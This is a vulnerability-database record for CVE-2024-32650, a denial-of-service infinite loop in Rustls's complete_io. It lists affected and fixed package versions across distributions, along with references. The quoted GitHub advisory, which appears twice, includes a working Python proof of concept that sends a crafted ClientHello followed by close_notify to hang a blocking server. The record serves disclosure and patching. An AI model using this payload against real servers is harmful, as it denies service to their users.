{"id":"CVE-2024-32650","aliases":["DEBIAN-CVE-2024-32650","EUVD-2024-1125","GHSA-6g7w-8wpp-frhj","RUSTSEC-2024-0336","SUSE-SU-2025:02809-1","SUSE-SU-2025:02810-1","SUSE-SU-2025:02811-1","SUSE-SU-2025:03629-1","SUSE-SU-2025:20057-1","SUSE-SU-2026:3022-1","UBUNTU-CVE-2024-32650","openSUSE-SU-2024:0130-1","openSUSE-SU-2024:13893-1","openSUSE-SU-2024:13903-1","openSUSE-SU-2024:13904-1","openSUSE-SU-2024:13912-1","openSUSE-SU-2024:13917-1","openSUSE-SU-2024:13923-1","openSUSE-SU-2024:13961-1","openSUSE-SU-2024:13969-1","openSUSE-SU-2024:14424-1","openSUSE-SU-2026:21558-1"],"status":"published","title":"Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00949,"percentile":0.61642,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2024-04-19T12:00:00Z","modified":"2026-11-02T12:02:31Z","fixes":[{"ecosystem":"crates.io","package":"rustls","fixed_in":["0.23.5","0.22.4","0.21.11"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"rust-rustls","fixed_in":["0.21.12-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"rust-rustls","fixed_in":["0.21.12-1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"gstreamer-plugins-rs","fixed_in":["0.12.11-150600.3.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"gstreamer-plugins-rs","fixed_in":["0.12.11-150600.3.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"gstreamer-plugins-rs","fixed_in":["0.12.11-150600.3.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP5","package":"git-cliff","fixed_in":["2.2.2-bp155.2.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.5","package":"git-cliff","fixed_in":["2.2.2-bp155.2.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"shadowsocks-rust","fixed_in":["1.18.3-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"topgrade","fixed_in":["14.0.1-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"kubetui","fixed_in":["1.5.1-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"tlrc","fixed_in":["1.9.2+0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"sccache","fixed_in":["0.8.0~3-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"gitoxide","fixed_in":["0.38.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.23.0"},{"last_affected":"0.23.4"},{"fixed":"0.23.5"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.22.0"},{"last_affected":"0.22.3"},{"fixed":"0.22.4"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.0"},{"last_affected":"0.21.10"},{"fixed":"0.21.11"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.20"},{"last_affected":"0.20"}]}],"versions":["0.20"]},{"source":"osv","ecosystem":"Debian:12","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.20.8-4","0.20.8-4.1","0.20.8-4.2","0.21.10-1","0.21.12-1","0.21.12-2","0.21.12-3","0.21.12-4","0.21.12-5","0.21.12-6","0.21.12-7","0.21.12-8","0.21.12-9","0.21.5-1","0.21.5-2","0.21.5-3","0.21.5-4","0.21.5-5","0.21.6-1","0.21.6-2","0.21.6-3","0.21.6-4","0.21.7-1","0.21.8-1","0.21.8-2","0.21.8-3","0.21.8-3.1","0.21.9-1","0.23.16-1","0.23.20+ds-1","0.23.20+ds-10","0.23.20+ds-2","0.23.20+ds-3","0.23.20+ds-4","0.23.20+ds-5","0.23.20+ds-6","0.23.20+ds-7","0.23.20+ds-8","0.23.20+ds-9","0.23.25+ds-1","0.23.26+ds-1","0.23.31+ds-1","0.23.31+ds-2","0.23.31+ds-3","0.23.31+ds-4","0.23.31+ds-5","0.23.31+ds-6","0.23.31+ds-7","0.23.32+ds-1","0.23.32+ds-2","0.23.33+ds-1","0.23.33+ds-2","0.23.33+ds-3","0.23.33+ds-4","0.23.35+ds-1","0.23.36+ds-1","0.23.37+ds-1","0.23.37+ds-2","0.23.37+ds-3","0.23.38+ds-1","0.23.40+ds-1","0.23.41+ds-1","0.23.43+ds-1","0.23.45+ds-1","0.23.46+ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.12-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.21.12-1"}]}]},{"source":"osv","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"SEMVER","events":[{"introduced":"0.23.0"},{"fixed":"0.23.5"}]}]},{"source":"osv","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"SEMVER","events":[{"introduced":"0.22.0"},{"fixed":"0.22.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"SEMVER","events":[{"introduced":"0.21.0"},{"fixed":"0.21.11"}]}]},{"source":"osv","ecosystem":"crates.io","package":"rustls","versions":["0.20"]},{"source":"osv","ecosystem":"crates.io","package":"rustls","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.21.11"},{"introduced":"0.22.0"},{"fixed":"0.22.4"},{"introduced":"0.23.0"},{"fixed":"0.23.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.3","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.7+141-150400.3.7.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.4","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.7+141-150400.3.5.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.7+141-150500.3.5.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"gstreamer-plugins-rs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12.11-150600.3.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"gstreamer-plugins-rs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12.11-150600.3.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"gstreamer-plugins-rs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12.11-150600.3.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.6+13-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"sccache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.16.0~0-150600.10.11.1"}]}],"bundled":14},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"sccache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.16.0~0-150600.10.11.1"}]}],"bundled":14},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"sccache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.16.0~0-150600.10.11.1"}]}],"bundled":14},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.6-3","0.21.7-1","0.21.9-1","0.21.10-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.23.25+ds-1","0.23.26+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.23.36+ds-1","0.23.41+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-rustls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.23.26+ds-1","0.23.33+ds-3build2","0.23.35+ds-1","0.23.35+ds-1build1","0.23.36+ds-1"]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP5","package":"git-cliff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.2-bp155.2.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"git-cliff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.2-bp155.2.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"shadowsocks-rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.3-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"teleport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.2.4-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"topgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.0.1-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"kubetui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.1-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"tlrc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2+0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"sccache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0~3-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"gitoxide","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.38.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"gitoxide","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.56.0-bp160.1.1"}]}],"bundled":5}],"products":[{"vendor":"rustls","product":"rustls"},{"vendor":"rustls project","product":"rustls"},{"vendor":"rustls_project","product":"rustls"}],"references":[{"url":"https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj","tags":["x_refsource_CONFIRM","x_transferred","advisory","web","report"]},{"url":"https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32650","tags":["advisory"]},{"url":"https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af","tags":["web"]},{"url":"https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c","tags":["web"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2024-0336.html","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-6g7w-8wpp-frhj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32650.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-32650","tags":["advisory"]},{"url":"https://github.com/rustls/rustls","tags":["package"]},{"url":"https://crates.io/crates/rustls","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202502809-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1210344","tags":["report"]},{"url":"https://bugzilla.suse.com/1223234","tags":["report"]},{"url":"https://bugzilla.suse.com/1229952","tags":["report"]},{"url":"https://bugzilla.suse.com/1230029","tags":["report"]},{"url":"https://bugzilla.suse.com/1242623","tags":["report"]},{"url":"https://bugzilla.suse.com/1243861","tags":["report"]},{"url":"https://bugzilla.suse.com/1247193","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2023-26964","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-12224","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-32650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-43806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3416","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58266","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202502810-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202502811-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503629-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1223219","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202520057-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263022-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1210346","tags":["report"]},{"url":"https://bugzilla.suse.com/1223238","tags":["report"]},{"url":"https://bugzilla.suse.com/1229955","tags":["report"]},{"url":"https://bugzilla.suse.com/1242611","tags":["report"]},{"url":"https://bugzilla.suse.com/1243868","tags":["report"]},{"url":"https://bugzilla.suse.com/1257923","tags":["report"]},{"url":"https://bugzilla.suse.com/1270206","tags":["report"]},{"url":"https://bugzilla.suse.com/1270512","tags":["report"]},{"url":"https://bugzilla.suse.com/1270559","tags":["report"]},{"url":"https://bugzilla.suse.com/1270693","tags":["report"]},{"url":"https://bugzilla.suse.com/1270736","tags":["report"]},{"url":"https://bugzilla.suse.com/1270869","tags":["report"]},{"url":"https://bugzilla.suse.com/1270938","tags":["report"]},{"url":"https://bugzilla.suse.com/1270948","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25727","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41681","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44662","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45784","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2024-32650","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-32650","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/RLZMKRAPDN7C43S56JAGULAWF4RXGB2S/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1223218","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-45288","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-29902","tags":["web"]},{"url":"https://bugzilla.suse.com/1223249","tags":["report"]},{"url":"https://bugzilla.suse.com/1236139","tags":["report"]},{"url":"https://bugzilla.suse.com/1240872","tags":["report"]},{"url":"https://bugzilla.suse.com/1266434","tags":["report"]},{"url":"https://bugzilla.suse.com/1274525","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-31130","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25541","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40034","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2024-32650","title":"Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:05:44.05Z","modified":"2024-08-02T02:13:40.195Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:34:15.662528Z"}],"euvd":[{"id":"EUVD-2024-1125","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:05:44Z","modified":"2024-08-02T02:13:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:23.057649Z"}],"ghsa":[{"id":"GHSA-6g7w-8wpp-frhj","title":"Denial of Service Vulnerability in Rustls Library","description":"### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i \u003c len(fake_handshake):\n            while i \u003c len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i \u003e= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we're closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n","status":"published","published":"2024-04-19T19:46:57Z","modified":"2024-05-21T17:23:34Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:37:51.549437Z"}],"nvd":[{"id":"CVE-2024-32650","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:15:10.94Z","modified":"2026-06-17T07:30:09.197Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:09:53.50104Z"}],"osv":[{"id":"CVE-2024-32650","title":"Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:05:44.05Z","modified":"2026-11-11T10:47:15.91690272Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-11T03:22:28.447808Z"},{"id":"DEBIAN-CVE-2024-32650","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:15:10.94Z","modified":"2026-11-02T12:02:31.505846735Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:42.530184Z"},{"id":"GHSA-6g7w-8wpp-frhj","title":"Denial of Service Vulnerability in Rustls Library","description":"### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i \u003c len(fake_handshake):\n            while i \u003c len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i \u003e= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we're closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n","status":"published","published":"2024-04-19T19:46:57Z","modified":"2026-09-10T03:50:12.362313607Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"RUSTSEC-2024-0336","title":"`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input","description":"If a `close_notify` alert is received during a handshake, `complete_io`\ndoes not terminate.\n\nCallers which do not call `complete_io` are not affected.\n\n`rustls-tokio` and `rustls-ffi` do not call `complete_io`\nand are not affected.\n\n`rustls::Stream` and `rustls::StreamOwned` types use\n`complete_io` and are affected.","status":"published","published":"2024-04-19T12:00:00Z","modified":"2026-10-12T18:00:07.054681492Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:39.971022Z"},{"id":"UBUNTU-CVE-2024-32650","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","status":"published","published":"2024-04-19T16:15:00Z","modified":"2026-10-17T12:56:44.938483822Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:48.333535Z"},{"id":"openSUSE-SU-2024:0130-1","title":"Security update for git-cliff","description":"This update for git-cliff fixes the following issues:\n\n- update to 2.2.2:\n  * (changelog) Allow adding custom context\n  * (changelog) Ignore empty lines when using split_commits\n  * (parser) Allow matching empty commit body\n  * Documentation updates\n\n- update to 2.2.1:\n  * Make rendering errors more verbose\n  * Support detecting config from project manifest\n  * Make the bump version rules configurable\n  * bug fixes and documentation updates\n- CVE-2024-32650: rust-rustls: Infinite loop with proper client\n  input fixes (boo#1223218)\n\n- Update to version 2.1.2:\n  * feat(npm): add programmatic API for TypeScript\n  * chore(fixtures): enable verbose logging for output\n  * refactor(clippy): apply clippy suggestions\n  * refactor(changelog): do not output to stdout when prepend is used\n  * feat(args): add `--tag-pattern` argument\n  * fix(config): fix commit parser regex in the default config\n  * fix(github): sanitize the GitHub token in debug logs\n  * chore(config): add animation to the header of the changelog\n  * refactor(clippy): apply clippy suggestions\n  * docs(security): update security policy\n  * chore(project): add readme to core package\n  * chore(embed): do not allow missing docs\n  * chore(config): skip dependabot commits for dev updates\n  * docs(readme): mention RustLab 2023 talk\n  * 